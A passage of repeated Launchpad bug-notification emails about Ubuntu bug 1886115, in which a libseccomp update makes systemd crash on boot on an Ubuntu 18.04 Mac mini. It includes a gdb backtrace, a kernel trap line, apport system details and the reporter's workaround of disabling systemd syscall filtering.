  #3  __GI___libc_free (mem=0x4a60d140dfd9a5) at malloc.c:3103
  #4  0x563b9577c22e in ?? ()
  #5  0x563b957672d6 in ?? ()
  #6  0x563b9576ba22 in ?? ()
  #7  0x563b9574f51a in ?? ()
  #8  0x7f16803a509a in ?? () from /lib/systemd/libsystemd-shared-237.so
  #9  0x7f16803a53ea in sd_event_dispatch () from 
/lib/systemd/libsystemd-shared-237.so
  #10 0x7f16803a5579 in sd_event_run () from 
/lib/systemd/libsystemd-shared-237.so
  #11 0x563b9572a49d in ?? ()
  #12 0x563b9571560c in ?? ()
  #13 0x7f168079cb97 in __libc_start_main (main=0x563b957139c0, argc=3, 
argv=0x7ffe78153758, 
  init=, fini=, rtld_fini=, 
  stack_end=0x7ffe78153748) at ../csu/libc-start.c:310
  #14 0x563b957164fa in ?? ()
  (gdb) 
  -->8--
   and the kernel message buffer lists 
  --8<--
  traps: systemd[1] general protection fault ip:7f17ebf6e98d sp:7ffd774d6020 
error:0 in libc-2.27.so[7f17ebed7000+1e7000]
  -->8--
  . 

To me that looked a bit like Bug 669702 of Gentoo
  (https://bugs.gentoo.org/669702) and indeed one of the (few) updates
  applied just prior the reboot was the update of libseccomp.

I was able to circumvent the problem by disabling (commenting out) the 
syscall filtering requested by systemd (on my system, only 
/etc/systemd/system/dbus-org.freedesktop.resolve1.service needed to be 
modified).
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  MachineType: Apple Inc. Macmini5,1
  NonfreeKernelModules: wl
  Package: systemd 237-3ubuntu10.41 [modified: 
lib/systemd/system/systemd-resolved.service]
  PackageArchitecture: amd64
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.3.0-62-generic 
root=UUID=891c2e06-2b40-4e79-a57f-6e550be932bb ro recovery nomodeset
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 01/24/2012
  dmi.bios.vendor: Apple Inc.
  dmi.bios.version: MM51.88Z.0077.B10.1201241549
  dmi.board.asset.tag: Base Board Asset Tag#
  dmi.board.name: Mac-8ED6AF5B48C039E1
  dmi.board.vendor: Apple Inc.
  dmi.board.version: Macmini5,1
  dmi.chassis.type: 16
  dmi.chassis.vendor: Apple Inc.
  dmi.chassis.version: Mac-8ED6AF5B48C039E1
  dmi.modalias: 
dmi:bvnAppleInc.:bvrMM51.88Z.0077.B10.1201241549:bd01/24/2012:svnAppleInc.:pnMacmini5,1:pvr1.0:rvnAppleInc.:rnMac-8ED6AF5B48C039E1:rvrMacmini5,1:cvnAppleInc.:ct16:cvrMac-8ED6AF5B48C039E1:
  dmi.product.family: Macmini
  dmi.product.name: Macmini5,1
  dmi.product.sku: System SKU#
  dmi.product.version: 1.0
  dmi.sys.vendor: Apple Inc.
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  Dependencies:
   gcc-8-base 8.4.0-1ubuntu1~18.04
   libc6 2.27-3ubuntu1
   libgcc1 1:8.4.0-1ubuntu1~18.04
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  NonfreeKernelModules: wl
  Package: libseccomp2 2.4.3-1ubuntu3.18.04.2
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh 

[Touch-packages] [Bug 1886115] ProcInterrupts.txt

[guenthert]

apport information

** Attachment added: "ProcInterrupts.txt"
   
https://bugs.launchpad.net/bugs/1886115/+attachment/5389202/+files/ProcInterrupts.txt

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1886115

Title:
  libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

Status in libseccomp package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  New

Bug description:
After applying updates to Ubuntu 18.04 my desktop (apple mini with
  i5-2415M CPU) failed to complete the boot process.  A few seconds into
  the boot, the last message displayed is "/var mounted".  The system
  then appears to hang indefinitely.

Luckily, the 'rescue' boot image allows the boot process to proceed 
sufficiently far to allow a root shell to be spawned.  Unfortunately no log 
files were written during the unsuccessful attempts to boot.  Spawning a 2nd 
root shell (# nohup getty tty5) on a 2nd virtual terminal (tty5) I was able to 
observe the message 'systemd freezing execution' after I closed the first root 
shell and resumed the boot process.  Further a core file was created (belonging 
to /sbin/init) in the root fs
  --8<--
  (gdb) bt
  #0  0x7f16807ba187 in kill () at ../sysdeps/unix/syscall-template.S:78
  #1  0x563b957223b7 in ?? ()
  #2  
  #3  __GI___libc_free (mem=0x4a60d140dfd9a5) at malloc.c:3103
  #4  0x563b9577c22e in ?? ()
  #5  0x563b957672d6 in ?? ()
  #6  0x563b9576ba22 in ?? ()
  #7  0x563b9574f51a in ?? ()
  #8  0x7f16803a509a in ?? () from /lib/systemd/libsystemd-shared-237.so
  #9  0x7f16803a53ea in sd_event_dispatch () from 
/lib/systemd/libsystemd-shared-237.so
  #10 0x7f16803a5579 in sd_event_run () from 
/lib/systemd/libsystemd-shared-237.so
  #11 0x563b9572a49d in ?? ()
  #12 0x563b9571560c in ?? ()
  #13 0x7f168079cb97 in __libc_start_main (main=0x563b957139c0, argc=3, 
argv=0x7ffe78153758, 
  init=, fini=, rtld_fini=, 
  stack_end=0x7ffe78153748) at ../csu/libc-start.c:310
  #14 0x563b957164fa in ?? ()
  (gdb) 
  -->8--
   and the kernel message buffer lists 
  --8<--
  traps: systemd[1] general protection fault ip:7f17ebf6e98d sp:7ffd774d6020 
error:0 in libc-2.27.so[7f17ebed7000+1e7000]
  -->8--
  . 

To me that looked a bit like Bug 669702 of Gentoo
  (https://bugs.gentoo.org/669702) and indeed one of the (few) updates
  applied just prior the reboot was the update of libseccomp.

I was able to circumvent the problem by disabling (commenting out) the 
syscall filtering requested by systemd (on my system, only 
/etc/systemd/system/dbus-org.freedesktop.resolve1.service needed to be 
modified).
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  MachineType: Apple Inc. Macmini5,1
  NonfreeKernelModules: wl
  Package: systemd 237-3ubuntu10.41 [modified: 
lib/systemd/system/systemd-resolved.service]
  PackageArchitecture: amd64
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.3.0-62-generic 
root=UUID=891c2e06-2b40-4e79-a57f-6e550be932bb ro recovery nomodeset
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 01/24/2012
  dmi.bios.vendor: Apple Inc.
  dmi.bios.version: MM51.88Z.0077.B10.1201241549
  dmi.board.asset.tag: Base Board Asset Tag#
  dmi.board.name: Mac-8ED6AF5B48C039E1
  dmi.board.vendor: Apple Inc.
  dmi.board.version: Macmini5,1
  dmi.chassis.type: 16
  dmi.chassis.vendor: Apple Inc.
  dmi.chassis.version: Mac-8ED6AF5B48C039E1
  dmi.modalias: 
dmi:bvnAppleInc.:bvrMM51.88Z.0077.B10.1201241549:bd01/24/2012:svnAppleInc.:pnMacmini5,1:pvr1.0:rvnAppleInc.:rnMac-8ED6AF5B48C039E1:rvrMacmini5,1:cvnAppleInc.:ct16:cvrMac-8ED6AF5B48C039E1:
  dmi.product.family: Macmini
  dmi.product.name: Macmini5,1
  dmi.product.sku: System SKU#
  dmi.product.version: 1.0
  dmi.sys.vendor: Apple Inc.
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  Dependencies:
   gcc-8-base 8.4.0-1ubuntu1~18.04
   libc6 2.27-3ubuntu1
   libgcc1 1:8.4.0-1ubuntu1~18.04
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  NonfreeKernelModules: wl
  Package: libseccomp2 2.4.3-1ubuntu3.18.04.2
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log present 

[Touch-packages] [Bug 1886115] ProcCpuinfo.txt

[guenthert]

apport information

** Attachment added: "ProcCpuinfo.txt"
   
https://bugs.launchpad.net/bugs/1886115/+attachment/5389199/+files/ProcCpuinfo.txt

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1886115

Title:
  libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

Status in libseccomp package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  New

Bug description:
After applying updates to Ubuntu 18.04 my desktop (apple mini with
  i5-2415M CPU) failed to complete the boot process.  A few seconds into
  the boot, the last message displayed is "/var mounted".  The system
  then appears to hang indefinitely.

Luckily, the 'rescue' boot image allows the boot process to proceed 
sufficiently far to allow a root shell to be spawned.  Unfortunately no log 
files were written during the unsuccessful attempts to boot.  Spawning a 2nd 
root shell (# nohup getty tty5) on a 2nd virtual terminal (tty5) I was able to 
observe the message 'systemd freezing execution' after I closed the first root 
shell and resumed the boot process.  Further a core file was created (belonging 
to /sbin/init) in the root fs
  --8<--
  (gdb) bt
  #0  0x7f16807ba187 in kill () at ../sysdeps/unix/syscall-template.S:78
  #1  0x563b957223b7 in ?? ()
  #2  
  #3  __GI___libc_free (mem=0x4a60d140dfd9a5) at malloc.c:3103
  #4  0x563b9577c22e in ?? ()
  #5  0x563b957672d6 in ?? ()
  #6  0x563b9576ba22 in ?? ()
  #7  0x563b9574f51a in ?? ()
  #8  0x7f16803a509a in ?? () from /lib/systemd/libsystemd-shared-237.so
  #9  0x7f16803a53ea in sd_event_dispatch () from 
/lib/systemd/libsystemd-shared-237.so
  #10 0x7f16803a5579 in sd_event_run () from 
/lib/systemd/libsystemd-shared-237.so
  #11 0x563b9572a49d in ?? ()
  #12 0x563b9571560c in ?? ()
  #13 0x7f168079cb97 in __libc_start_main (main=0x563b957139c0, argc=3, 
argv=0x7ffe78153758, 
  init=, fini=, rtld_fini=, 
  stack_end=0x7ffe78153748) at ../csu/libc-start.c:310
  #14 0x563b957164fa in ?? ()
  (gdb) 
  -->8--
   and the kernel message buffer lists 
  --8<--
  traps: systemd[1] general protection fault ip:7f17ebf6e98d sp:7ffd774d6020 
error:0 in libc-2.27.so[7f17ebed7000+1e7000]
  -->8--
  . 

To me that looked a bit like Bug 669702 of Gentoo
  (https://bugs.gentoo.org/669702) and indeed one of the (few) updates
  applied just prior the reboot was the update of libseccomp.

I was able to circumvent the problem by disabling (commenting out) the 
syscall filtering requested by systemd (on my system, only 
/etc/systemd/system/dbus-org.freedesktop.resolve1.service needed to be 
modified).
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  MachineType: Apple Inc. Macmini5,1
  NonfreeKernelModules: wl
  Package: systemd 237-3ubuntu10.41 [modified: 
lib/systemd/system/systemd-resolved.service]
  PackageArchitecture: amd64
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.3.0-62-generic 
root=UUID=891c2e06-2b40-4e79-a57f-6e550be932bb ro recovery nomodeset
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 01/24/2012
  dmi.bios.vendor: Apple Inc.
  dmi.bios.version: MM51.88Z.0077.B10.1201241549
  dmi.board.asset.tag: Base Board Asset Tag#
  dmi.board.name: Mac-8ED6AF5B48C039E1
  dmi.board.vendor: Apple Inc.
  dmi.board.version: Macmini5,1
  dmi.chassis.type: 16
  dmi.chassis.vendor: Apple Inc.
  dmi.chassis.version: Mac-8ED6AF5B48C039E1
  dmi.modalias: 
dmi:bvnAppleInc.:bvrMM51.88Z.0077.B10.1201241549:bd01/24/2012:svnAppleInc.:pnMacmini5,1:pvr1.0:rvnAppleInc.:rnMac-8ED6AF5B48C039E1:rvrMacmini5,1:cvnAppleInc.:ct16:cvrMac-8ED6AF5B48C039E1:
  dmi.product.family: Macmini
  dmi.product.name: Macmini5,1
  dmi.product.sku: System SKU#
  dmi.product.version: 1.0
  dmi.sys.vendor: Apple Inc.
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  Dependencies:
   gcc-8-base 8.4.0-1ubuntu1~18.04
   libc6 2.27-3ubuntu1
   libgcc1 1:8.4.0-1ubuntu1~18.04
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  NonfreeKernelModules: wl
  Package: libseccomp2 2.4.3-1ubuntu3.18.04.2
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log present 

[Touch-packages] [Bug 1886115] ProcModules.txt

[guenthert]

apport information

** Attachment added: "ProcModules.txt"
   
https://bugs.launchpad.net/bugs/1886115/+attachment/5389203/+files/ProcModules.txt

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1886115

Title:
  libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

Status in libseccomp package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  New

Bug description:
After applying updates to Ubuntu 18.04 my desktop (apple mini with
  i5-2415M CPU) failed to complete the boot process.  A few seconds into
  the boot, the last message displayed is "/var mounted".  The system
  then appears to hang indefinitely.

Luckily, the 'rescue' boot image allows the boot process to proceed 
sufficiently far to allow a root shell to be spawned.  Unfortunately no log 
files were written during the unsuccessful attempts to boot.  Spawning a 2nd 
root shell (# nohup getty tty5) on a 2nd virtual terminal (tty5) I was able to 
observe the message 'systemd freezing execution' after I closed the first root 
shell and resumed the boot process.  Further a core file was created (belonging 
to /sbin/init) in the root fs
  --8<--
  (gdb) bt
  #0  0x7f16807ba187 in kill () at ../sysdeps/unix/syscall-template.S:78
  #1  0x563b957223b7 in ?? ()
  #2  
  #3  __GI___libc_free (mem=0x4a60d140dfd9a5) at malloc.c:3103
  #4  0x563b9577c22e in ?? ()
  #5  0x563b957672d6 in ?? ()
  #6  0x563b9576ba22 in ?? ()
  #7  0x563b9574f51a in ?? ()
  #8  0x7f16803a509a in ?? () from /lib/systemd/libsystemd-shared-237.so
  #9  0x7f16803a53ea in sd_event_dispatch () from 
/lib/systemd/libsystemd-shared-237.so
  #10 0x7f16803a5579 in sd_event_run () from 
/lib/systemd/libsystemd-shared-237.so
  #11 0x563b9572a49d in ?? ()
  #12 0x563b9571560c in ?? ()
  #13 0x7f168079cb97 in __libc_start_main (main=0x563b957139c0, argc=3, 
argv=0x7ffe78153758, 
  init=, fini=, rtld_fini=, 
  stack_end=0x7ffe78153748) at ../csu/libc-start.c:310
  #14 0x563b957164fa in ?? ()
  (gdb) 
  -->8--
   and the kernel message buffer lists 
  --8<--
  traps: systemd[1] general protection fault ip:7f17ebf6e98d sp:7ffd774d6020 
error:0 in libc-2.27.so[7f17ebed7000+1e7000]
  -->8--
  . 

To me that looked a bit like Bug 669702 of Gentoo
  (https://bugs.gentoo.org/669702) and indeed one of the (few) updates
  applied just prior the reboot was the update of libseccomp.

I was able to circumvent the problem by disabling (commenting out) the 
syscall filtering requested by systemd (on my system, only 
/etc/systemd/system/dbus-org.freedesktop.resolve1.service needed to be 
modified).
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  MachineType: Apple Inc. Macmini5,1
  NonfreeKernelModules: wl
  Package: systemd 237-3ubuntu10.41 [modified: 
lib/systemd/system/systemd-resolved.service]
  PackageArchitecture: amd64
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.3.0-62-generic 
root=UUID=891c2e06-2b40-4e79-a57f-6e550be932bb ro recovery nomodeset
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 01/24/2012
  dmi.bios.vendor: Apple Inc.
  dmi.bios.version: MM51.88Z.0077.B10.1201241549
  dmi.board.asset.tag: Base Board Asset Tag#
  dmi.board.name: Mac-8ED6AF5B48C039E1
  dmi.board.vendor: Apple Inc.
  dmi.board.version: Macmini5,1
  dmi.chassis.type: 16
  dmi.chassis.vendor: Apple Inc.
  dmi.chassis.version: Mac-8ED6AF5B48C039E1
  dmi.modalias: 
dmi:bvnAppleInc.:bvrMM51.88Z.0077.B10.1201241549:bd01/24/2012:svnAppleInc.:pnMacmini5,1:pvr1.0:rvnAppleInc.:rnMac-8ED6AF5B48C039E1:rvrMacmini5,1:cvnAppleInc.:ct16:cvrMac-8ED6AF5B48C039E1:
  dmi.product.family: Macmini
  dmi.product.name: Macmini5,1
  dmi.product.sku: System SKU#
  dmi.product.version: 1.0
  dmi.sys.vendor: Apple Inc.
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  Dependencies:
   gcc-8-base 8.4.0-1ubuntu1~18.04
   libc6 2.27-3ubuntu1
   libgcc1 1:8.4.0-1ubuntu1~18.04
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  NonfreeKernelModules: wl
  Package: libseccomp2 2.4.3-1ubuntu3.18.04.2
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log present 

[Touch-packages] [Bug 1886115] ProcEnviron.txt

[guenthert]

apport information

** Attachment added: "ProcEnviron.txt"
   
https://bugs.launchpad.net/bugs/1886115/+attachment/5389201/+files/ProcEnviron.txt

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1886115

Title:
  libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

Status in libseccomp package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  New

Bug description:
After applying updates to Ubuntu 18.04 my desktop (apple mini with
  i5-2415M CPU) failed to complete the boot process.  A few seconds into
  the boot, the last message displayed is "/var mounted".  The system
  then appears to hang indefinitely.

Luckily, the 'rescue' boot image allows the boot process to proceed 
sufficiently far to allow a root shell to be spawned.  Unfortunately no log 
files were written during the unsuccessful attempts to boot.  Spawning a 2nd 
root shell (# nohup getty tty5) on a 2nd virtual terminal (tty5) I was able to 
observe the message 'systemd freezing execution' after I closed the first root 
shell and resumed the boot process.  Further a core file was created (belonging 
to /sbin/init) in the root fs
  --8<--
  (gdb) bt
  #0  0x7f16807ba187 in kill () at ../sysdeps/unix/syscall-template.S:78
  #1  0x563b957223b7 in ?? ()
  #2  
  #3  __GI___libc_free (mem=0x4a60d140dfd9a5) at malloc.c:3103
  #4  0x563b9577c22e in ?? ()
  #5  0x563b957672d6 in ?? ()
  #6  0x563b9576ba22 in ?? ()
  #7  0x563b9574f51a in ?? ()
  #8  0x7f16803a509a in ?? () from /lib/systemd/libsystemd-shared-237.so
  #9  0x7f16803a53ea in sd_event_dispatch () from 
/lib/systemd/libsystemd-shared-237.so
  #10 0x7f16803a5579 in sd_event_run () from 
/lib/systemd/libsystemd-shared-237.so
  #11 0x563b9572a49d in ?? ()
  #12 0x563b9571560c in ?? ()
  #13 0x7f168079cb97 in __libc_start_main (main=0x563b957139c0, argc=3, 
argv=0x7ffe78153758, 
  init=, fini=, rtld_fini=, 
  stack_end=0x7ffe78153748) at ../csu/libc-start.c:310
  #14 0x563b957164fa in ?? ()
  (gdb) 
  -->8--
   and the kernel message buffer lists 
  --8<--
  traps: systemd[1] general protection fault ip:7f17ebf6e98d sp:7ffd774d6020 
error:0 in libc-2.27.so[7f17ebed7000+1e7000]
  -->8--
  . 

To me that looked a bit like Bug 669702 of Gentoo
  (https://bugs.gentoo.org/669702) and indeed one of the (few) updates
  applied just prior the reboot was the update of libseccomp.

I was able to circumvent the problem by disabling (commenting out) the 
syscall filtering requested by systemd (on my system, only 
/etc/systemd/system/dbus-org.freedesktop.resolve1.service needed to be 
modified).
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  MachineType: Apple Inc. Macmini5,1
  NonfreeKernelModules: wl
  Package: systemd 237-3ubuntu10.41 [modified: 
lib/systemd/system/systemd-resolved.service]
  PackageArchitecture: amd64
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.3.0-62-generic 
root=UUID=891c2e06-2b40-4e79-a57f-6e550be932bb ro recovery nomodeset
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 01/24/2012
  dmi.bios.vendor: Apple Inc.
  dmi.bios.version: MM51.88Z.0077.B10.1201241549
  dmi.board.asset.tag: Base Board Asset Tag#
  dmi.board.name: Mac-8ED6AF5B48C039E1
  dmi.board.vendor: Apple Inc.
  dmi.board.version: Macmini5,1
  dmi.chassis.type: 16
  dmi.chassis.vendor: Apple Inc.
  dmi.chassis.version: Mac-8ED6AF5B48C039E1
  dmi.modalias: 
dmi:bvnAppleInc.:bvrMM51.88Z.0077.B10.1201241549:bd01/24/2012:svnAppleInc.:pnMacmini5,1:pvr1.0:rvnAppleInc.:rnMac-8ED6AF5B48C039E1:rvrMacmini5,1:cvnAppleInc.:ct16:cvrMac-8ED6AF5B48C039E1:
  dmi.product.family: Macmini
  dmi.product.name: Macmini5,1
  dmi.product.sku: System SKU#
  dmi.product.version: 1.0
  dmi.sys.vendor: Apple Inc.
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  Dependencies:
   gcc-8-base 8.4.0-1ubuntu1~18.04
   libc6 2.27-3ubuntu1
   libgcc1 1:8.4.0-1ubuntu1~18.04
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  NonfreeKernelModules: wl
  Package: libseccomp2 2.4.3-1ubuntu3.18.04.2
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log present 

[Touch-packages] [Bug 1886115] Lsusb.txt

[guenthert]

apport information

** Attachment added: "Lsusb.txt"
   https://bugs.launchpad.net/bugs/1886115/+attachment/5389198/+files/Lsusb.txt

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1886115

Title:
  libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

Status in libseccomp package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  New

Bug description:
After applying updates to Ubuntu 18.04 my desktop (apple mini with
  i5-2415M CPU) failed to complete the boot process.  A few seconds into
  the boot, the last message displayed is "/var mounted".  The system
  then appears to hang indefinitely.

Luckily, the 'rescue' boot image allows the boot process to proceed 
sufficiently far to allow a root shell to be spawned.  Unfortunately no log 
files were written during the unsuccessful attempts to boot.  Spawning a 2nd 
root shell (# nohup getty tty5) on a 2nd virtual terminal (tty5) I was able to 
observe the message 'systemd freezing execution' after I closed the first root 
shell and resumed the boot process.  Further a core file was created (belonging 
to /sbin/init) in the root fs
  --8<--
  (gdb) bt
  #0  0x7f16807ba187 in kill () at ../sysdeps/unix/syscall-template.S:78
  #1  0x563b957223b7 in ?? ()
  #2  
  #3  __GI___libc_free (mem=0x4a60d140dfd9a5) at malloc.c:3103
  #4  0x563b9577c22e in ?? ()
  #5  0x563b957672d6 in ?? ()
  #6  0x563b9576ba22 in ?? ()
  #7  0x563b9574f51a in ?? ()
  #8  0x7f16803a509a in ?? () from /lib/systemd/libsystemd-shared-237.so
  #9  0x7f16803a53ea in sd_event_dispatch () from 
/lib/systemd/libsystemd-shared-237.so
  #10 0x7f16803a5579 in sd_event_run () from 
/lib/systemd/libsystemd-shared-237.so
  #11 0x563b9572a49d in ?? ()
  #12 0x563b9571560c in ?? ()
  #13 0x7f168079cb97 in __libc_start_main (main=0x563b957139c0, argc=3, 
argv=0x7ffe78153758, 
  init=, fini=, rtld_fini=, 
  stack_end=0x7ffe78153748) at ../csu/libc-start.c:310
  #14 0x563b957164fa in ?? ()
  (gdb) 
  -->8--
   and the kernel message buffer lists 
  --8<--
  traps: systemd[1] general protection fault ip:7f17ebf6e98d sp:7ffd774d6020 
error:0 in libc-2.27.so[7f17ebed7000+1e7000]
  -->8--
  . 

To me that looked a bit like Bug 669702 of Gentoo
  (https://bugs.gentoo.org/669702) and indeed one of the (few) updates
  applied just prior the reboot was the update of libseccomp.

I was able to circumvent the problem by disabling (commenting out) the 
syscall filtering requested by systemd (on my system, only 
/etc/systemd/system/dbus-org.freedesktop.resolve1.service needed to be 
modified).
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  MachineType: Apple Inc. Macmini5,1
  NonfreeKernelModules: wl
  Package: systemd 237-3ubuntu10.41 [modified: 
lib/systemd/system/systemd-resolved.service]
  PackageArchitecture: amd64
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.3.0-62-generic 
root=UUID=891c2e06-2b40-4e79-a57f-6e550be932bb ro recovery nomodeset
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 01/24/2012
  dmi.bios.vendor: Apple Inc.
  dmi.bios.version: MM51.88Z.0077.B10.1201241549
  dmi.board.asset.tag: Base Board Asset Tag#
  dmi.board.name: Mac-8ED6AF5B48C039E1
  dmi.board.vendor: Apple Inc.
  dmi.board.version: Macmini5,1
  dmi.chassis.type: 16
  dmi.chassis.vendor: Apple Inc.
  dmi.chassis.version: Mac-8ED6AF5B48C039E1
  dmi.modalias: 
dmi:bvnAppleInc.:bvrMM51.88Z.0077.B10.1201241549:bd01/24/2012:svnAppleInc.:pnMacmini5,1:pvr1.0:rvnAppleInc.:rnMac-8ED6AF5B48C039E1:rvrMacmini5,1:cvnAppleInc.:ct16:cvrMac-8ED6AF5B48C039E1:
  dmi.product.family: Macmini
  dmi.product.name: Macmini5,1
  dmi.product.sku: System SKU#
  dmi.product.version: 1.0
  dmi.sys.vendor: Apple Inc.
  --- 
  ProblemType: Bug
